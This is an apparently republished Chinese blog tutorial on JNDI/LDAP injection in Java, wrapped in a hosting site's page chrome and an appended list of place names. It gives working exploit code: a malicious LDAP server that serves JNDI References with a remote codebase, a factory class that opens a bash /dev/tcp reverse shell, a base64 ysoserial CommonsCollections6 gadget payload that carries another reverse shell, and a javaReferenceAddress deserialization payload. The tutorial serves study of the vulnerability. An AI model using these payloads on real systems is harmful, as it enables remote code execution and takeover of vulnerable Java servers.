中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

JNDI中如何進行LDAP學習

發布時間:2021-12-27 15:32:43 來源:億速云 閱讀:165 作者:柒染 欄目:網絡管理

這篇文章將為大家詳細講解有關JNDI中如何進行LDAP學習,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。

基礎知識

在進入JNDI中LDAP學習前,先了解下其中涉及的相關知識

JAVA模型

  • 序列化對象

  • JNDI References

JNDI References是類javax.naming.Reference的Java對象。它由有關所引用對象的類信息和地址的有序列表組成。Reference還包含有助于創建引用所引用的對象實例的信息。它包含該對象的Java類名稱,以及用于創建對象的對象工廠的類名稱和位置。在目錄中使用以下屬性:

objectClass: javaNamingReference
javaClassName: Records the class name of the serialized object so that applications can determined class information without having to first deserialize the
object.
javaClassNames: Additional class information about the serialized object.
javaCodebase: Location of the class definitions needed to instantiate the factory
class.
javaReferenceAddress: Multivalued optional attribute for storing reference
addresses.
javaFactory: Optional attribute for storing the object factory's fully qualified class
name.
  • Marshalled 對象

  • Remote Location

LDAP

LDAP(Lightweight Directory Access Protocol)輕量目錄訪問協議

LDAP 是什么

先簡單描述下LDAP的基本概念,主要用于訪問目錄服務 用戶進行連接、查詢、更新遠程服務器上的目錄。

其中LDAP模型主要分布如下:

  • 信息模型 信息模型主要是 條目 - Entry、屬性 - Attribute、值 - value Entry:目錄樹中的一個節點,每一個Entry描述了一個真實對象,即object class

  • 命名模型

  • 功能模型

  • 安全模型 ......這些基礎可以看看LDAP的官方文檔

LDAP 攻擊向量

LDAP Server

在利用前 可以先搭建一個ldap server,代碼來自mbechler,稍微改動了下

package org.jndildap;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

/**
* LDAP server implementation returning JNDI references
*
* @author mbechler
*
*/
public class LdapSer {

private static final String LDAP_BASE = "dc=example,dc=com";


public static void main (String[] args) {
int port = 1389;
String url = "http://127.0.0.1/#Th4windObject";
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;


/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}


/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}


protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "th4wind");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

JNDI中如何進行LDAP學習

  • LDAP存儲JAVA對象的方式如下:

    • Java 序列化

    • JDNI的References

    • Marshalled對象

    • Remote Location

  • 其中可進行配合利用方式如下:

    • 利用Java序列化

    • 利用JDNI的References對象引用

JNDI中如何進行LDAP學習

LDAP可以為其中存儲的JAVA對象提供多種屬性,具體可參照官方說明,部分如下

JNDI中如何進行LDAP學習

其中在利用JNDI References時,此處主要使用的是javaCodebase指定遠程url,在該url中包含惡意class,在JNDI中進行反序列化觸發。

在直接利用Java 序列化方法時,是利用javaSerializedData屬性,當該屬性的value值不為空時,會對該值進行反序列化處理,當本地存在反序列化利用鏈時,即可觸發。

JNDI Reference

攻擊流程 參照如下:借用下BlackHat2016的圖JNDI中如何進行LDAP學習

1、攻擊者提供一個LDAP絕對路徑的url并賦予到可利用的JNDIlookup方法中 這里直接部署一個LDAP Client模擬被攻擊服務器應用即如下所示:

String uri = "ldap://127.0.0.1:1389/Th4windObject";
Context ctx = new InitialContext();
ctx.lookup(uri);

2、服務端訪問攻擊者構造或可控的LDAP Server端,并請求到惡意的JNDI Reference

  • 構造JNDI Reference我的理解是此處的JNDI Reference即為jndiReferenceEntry根據前面提到的信息模型,這里的 構造的JNDI Reference即構造Entry即服務端代碼中的

Entry e = new Entry(base);
...
...
e.addAttribute("javaClassName", "th4wind");
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
  • 請求JNDI Reference

  • 在被攻擊服務端中請求JNDI Referencelookup即可直接請求上,但我們這里還是跟下看下在lookup中哪部分代碼請求并利用

在lookup 獲取Entry后,一路傳參 到c_lookup:JNDI中如何進行LDAP學習

doSearchOnce中發起對傳入的url發起請求,獲取對應的EntryJNDI中如何進行LDAP學習

同樣在該c_lookup中判斷javaclassnamejavaNamingReference不為空的時候進行decodeObject處理JNDI中如何進行LDAP學習

decodeObject中重新生成一個reference,后續通過Naming Manager進行載入執行惡意class文件,剩下這部分內容是JNDI的調用邏輯了,跟LDAP關系不大,這里不多做討論,大概流程圖如下:JNDI中如何進行LDAP學習

3、服務端decode請求到的惡意JNDI Reference4、服務端從攻擊者構造的惡意Server請求并實例化Factory class即此處開放的http請求下的Th4windObjectJNDI中如何進行LDAP學習

import  java.lang.Runtime;
import  java.lang.Process;
public  class Th4windObject {
public Th4windObject(){
try{
Runtime rt  =   Runtime.getRuntime();
//Runtime.getRuntime().exec("bash -i >& /dev/tcp/127.0.0.1/8550 0>&1");
//String[] commands = {"/bin/bash", "-c", "'/bin/bash -i >& /dev/tcp/127.0.0.1/8550 0>&1'"};
String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/127.0.0.1/8550;cat <&5 | while read line; do $line 2>&5 >&amp5; done"};
Process pc = rt.exec(commands);
//System.out.println(commands);
pc.waitFor();
}catch(Exception e){
e.printStackTrace();
System.out.println("2222");
}
}
public static void main(String[] argv){
Th4windObject e = new Th4windObject();
}
}

5、執行payloadsJNDI中如何進行LDAP學習

Remote Location

該方法不常用,此處暫不多做討論

Serialized Object

JNDI對通過LDAP傳輸的Entry屬性中的 序列化處理有兩處

  • 一處在于前面所說的decodeObjectjavaSerializedData屬性的處理

  • 一處在于decodeReference函數在對普通的Reference還原的基礎上,還可以進一步對RefAddress做還原處理

javaSerializedData

前文有提到,根據javaSerializedData不為空的情況,decodeObject會對對應的字段進行反序列化。即此處在惡意LDAP Server端中增加該屬性

e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm 9ybWVyO3hwc3IAOm 9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh3kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm 9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AEEvYmluL2Jhc2ggLWMgYmFzaCR7SUZTfS1pJHtJRlN9PiYke0lGU30vZGV2L3RjcC8xMjcuMC 4wLjEvODU1MDwmMXQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh5") );

這里的payload出于偷懶,直接用ysoserial.jar利用CommonsCollections6生成 JNDI中如何進行LDAP學習此處的CommonsCollections6即前面所說存在的本地反序列化漏洞利用鏈,所以在調用的LDAPClient本地得導入commons-collections,我這里使用的是3.2.1版本

JNDI中如何進行LDAP學習JNDI中如何進行LDAP學習

通過該利用方法可以不用惡意web服務,攻擊示意圖如下:JNDI中如何進行LDAP學習

  1. 攻擊者提供一個LDAP絕對路徑的url并賦予到可利用的JNDI的lookup方法中

  2. 服務端訪問攻擊者構造或可控的LDAP Server端,并請求到惡意的JNDI Reference

  3. 服務端 decode請求到的惡意JNDI Reference并在decode中進行反序列化處理

調用鏈如下:JNDI中如何進行LDAP學習

javaReferenceAddress

先來一張調用鏈的圖

JNDI中如何進行LDAP學習JNDI中如何進行LDAP學習

在該調用方式中,該可用于反序列化的屬性為javaReferenceAddress,payload如下:

e.addAttribute("javaReferenceAddress", "$1$String$$"+new BASE64Encoder().encode(serialized));

JNDI中如何進行LDAP學習

Reference decodeReference對該屬性進行處理時對處理字符串有條件要求: 首先要求javaSerializedData為空JNDI中如何進行LDAP學習其次要求javaRemoteLocation為空JNDI中如何進行LDAP學習

在進入decodeReference中進行字符串處理要求如下: 必備屬性:

javaClassName
javaReferenceAddress

校驗javafactory是否存在

在對javaReferenceAddress處理流程如下:

  1. 第一個字符為分隔符;

  2. 第一個分隔符與第二個分隔符之間,表示Reference的position,為int類型,也就是這個位置必須是數字;

  3. 第二個分隔符與第三個分隔符之間,表示type類型;

  4. 檢測第三個分隔符后是否有第四個分隔符即雙分隔符的形式,是則進入反序列化的操作;

  5. 序列化數據用base64編碼,所以在序列化前會進行一次base64解碼。

關于JNDI中如何進行LDAP學習就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

平安县| 水城县| 安阳县| 郑州市| 清水县| 民权县| 汕头市| 东乌珠穆沁旗| 乐业县| 宜昌市| 肥乡县| 喀喇| 周宁县| 金昌市| 井研县| 巴林左旗| 曲阜市| 吉隆县| 屏东县| 霍林郭勒市| 岫岩| 英吉沙县| 普陀区| 辉南县| 平原县| 齐河县| 乐至县| 白玉县| 梅州市| 丹巴县| 浦城县| 镶黄旗| 谷城县| 茂名市| 慈溪市| 威远县| 厦门市| 伊宁市| 肇庆市| 清流县| 上林县|